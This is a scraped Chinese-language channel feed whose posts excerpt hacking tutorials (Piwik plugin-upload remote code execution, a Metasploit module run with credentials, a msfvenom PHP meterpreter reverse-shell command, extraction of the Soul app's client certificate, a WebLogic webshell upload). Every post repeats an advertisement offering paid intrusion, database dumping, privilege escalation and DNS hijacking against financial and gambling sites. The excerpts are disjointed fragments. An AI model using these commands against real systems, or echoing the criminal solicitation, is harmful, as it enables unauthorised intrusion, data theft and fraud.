黑客渗透金融劫持 BC域名跳转

然后我们下载acefile.py脚本。

使用命令python acefile.py --headers liehu.ace来读取该文件头信息。

根据漏洞的描述，问题是出现在filename中的。那主要就看下面的header吧。

用010Editor打开该文件。
金融股民渗透国内app，海外网站app，入侵后台，说裤数据库，dns持服务器进入等等
接渗透拿站，各大网站数据-拖库-提权联系
域名劫持 DNS 入侵网站联系：@hacker_HouZiM

❤2👍1

372 views04:20

黑客渗透金融劫持 BC域名跳转

利用soulApp中的证书和密码生成浏览器证书。

openssl pkcs12 -export -inkey client.key -in client.crt -out soulclient.pfx
证书的位置位于资源文件assets中。
金融股民渗透国内app，海外网站app，入侵后台，说裤数据库，dns持服务器进入等等
接渗透拿站，各大网站数据-拖库-提权联系
域名劫持 DNS 入侵网站联系：@hacker_HouZiM

❤1👍1

356 views06:46

黑客渗透金融劫持 BC域名跳转

利用程序完成认证
利用程序的话，参考cn.soulapp.android.api.e.a()方法，进行证书的操作。
然后利用httpclient进行http请求。

当访问不加证书的效果：
金融股民渗透国内app，海外网站app，入侵后台，说裤数据库，dns持服务器进入等等
接渗透拿站，各大网站数据-拖库-提权联系
域名劫持 DNS 入侵网站联系：@hacker_HouZiM

❤2👍1

331 views03:46

黑客渗透金融劫持 BC域名跳转

将下载下来的程序源码解压到phpStudy下的WWW目录。这里我项目名字为piwik-3.0.1。

在piwik-3.0.1目录下执行composer install命令来安装项目所依赖的代码库。
金融股民渗透国内app，海外网站app，入侵后台，说裤数据库，dns持服务器进入等等
接渗透拿站，各大网站数据-拖库-提权联系
域名劫持 DNS 入侵网站联系：@hacker_HouZiM

❤2

262 views09:17

黑客渗透金融劫持 BC域名跳转

Q:Payload中除了install()方法还可以写其他方法吗？

A:可以的。例如还有uninstall/deactivate/activate等方法，分别在卸载插件/关闭插件/激活插件的时候调用。例如如下的代码：

<?php
namespace Piwik\Plugins\ff;
class ff extends \Piwik\Plugin {
public function install()//安装插件，执行一次
{
$myfile = fopen("install.txt", "w") or die("Unable to open file!");
$content = "install ...";
fwrite($myfile, $content);
}
public function uninstall()//卸载插件，执行一次
{
$myfile = fopen("uninstall.txt", "w") or die("Unable to open file!");
$content = "uninstall ...";
fwrite($myfile, $content);
金融股民渗透国内app，海外网站app，入侵后台，说裤数据库，dns持服务器进入等等
接渗透拿站，各大网站数据-拖库-提权联系
域名劫持 DNS 入侵网站联系：@hacker_HouZiM

❤2👍1

277 views09:27

黑客渗透金融劫持 BC域名跳转

漏洞产生原因及PayLoad的编写
Piwik默认在3.0.3之前允许自定义插件上传，当插件被激活时，install方法会被调用，会执行其中编写的PayLoad。

如果我们编写一个名字叫做pwned的插件，其文件结构为：

pwned/
pwned/pwned.php
pwned/plugin.json
金融股民渗透国内app，海外网站app，入侵后台，说裤数据库，dns持服务器进入等等
接渗透拿站，各大网站数据-拖库-提权联系
域名劫持 DNS 入侵网站联系：@hacker_HouZiM

❤1👍1

246 views05:26

黑客渗透金融劫持 BC域名跳转

第三次的入参为我们前面的盐加上第二次 sha1 算法加密的返回的结果。

第三次返回的结果为 0ae492780a1e7aefafa23efae2357faafc98af51。

❤1👍1

266 views08:14

黑客渗透金融劫持 BC域名跳转

加载成功之后，我们去调用函数，输入在网页端输入的密码，看是否能生成对应加密后的字符串，如下图所示：

经过和网页端对比发现，两者完全一样。此时我们就完全找到了 js 加密相关的函数。

❤1👍1

292 views08:20

黑客渗透金融劫持 BC域名跳转

.利用Metasploit生成meterpreter会话
上面的结果是写入了WEBSHELL，也可以采用piwik_superuser_plugin_upload直接生成一个meterpreter会话。

msf > use exploit/unix/webapp/piwik_superuser_plugin_upload
msf exploit(piwik_superuser_plugin_upload) >
msf exploit(piwik_superuser_plugin_upload) > set PASSWORD admin888
PASSWORD => admin888
msf exploit(piwik_superuser_plugin_upload) > set RHOST 192.168.217.1
RHOST => 192.168.217.1
msf exploit(piwik_superuser_plugin_upload) > set TARGETURI /piwik-3.0.1/
TARGETURI => /piwik-3.0.1/
msf exploit(piwik_superuser_plugin_upload) > set USERNAME admin
USERNAME => admin
msf exploit(piwik_superuser_plugin_upload) > exploit
金融股民渗透国内app，海外网站app，入侵后台，说裤数据库，dns持服务器进入等等
接渗透拿站，各大网站数据-拖库-提权联系
域名劫持 DNS 入侵网站联系：@hacker_HouZiM

❤1

306 views04:43

黑客渗透金融劫持 BC域名跳转

利用Metasploit时有时候会不成功，或者是第一次成功之后无法再次复现。但是利用上传webshell可以成功。

❤1

322 views09:27

黑客渗透金融劫持 BC域名跳转

可以利用手动上传插件的方法，将其中的Payload修改为反弹shell的代码。

具体可以这样操作：

首先看看Metasploit利用的Payload是什么。

可以在generate_plugin方法中添加打印payload.encoded的语句，例如使用print_status("data:#{payload.encoded}")将其内容打印出来
然后使用reload_all重新加载脚本，并使用piwik_superuser_plugin_upload脚本，将会打印出来payload的内容

❤1👍1

343 views04:28

黑客渗透金融劫持 BC域名跳转

可以利用msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.131.128 LPORT=4444 -f raw >c.php来生成payload，内容一样
然后就是利用上传插件来上传插件并激活了。

正确姿势：请注意要加set PAYLOAD php/meterpreter/reverse_tcp，不然会报各种错误。

❤1

288 views05:24

黑客渗透金融劫持 BC域名跳转

通过WebLogic弱口令登录后，上传war包，来获取WEBSHELL。
下载项目后进入到/weblogic/weak_password目录，运行命令sudo docker-compose build进行编译（请参照https://github.com/phith0n/vulhub/blob/master/README.md 进行docker的安装）。
编译完成后进行启动
使用如下命令：

fuping@ubuntu:~/Git/vulhub/weblogic/weak_password$ sudo docker-compose up -d #启动
fuping@ubuntu:~/Git/vulhub/weblogic/weak_password$ sudo docker ps #查看启动的docker

❤3

291 views04:44

About

Blog

Apps

Platform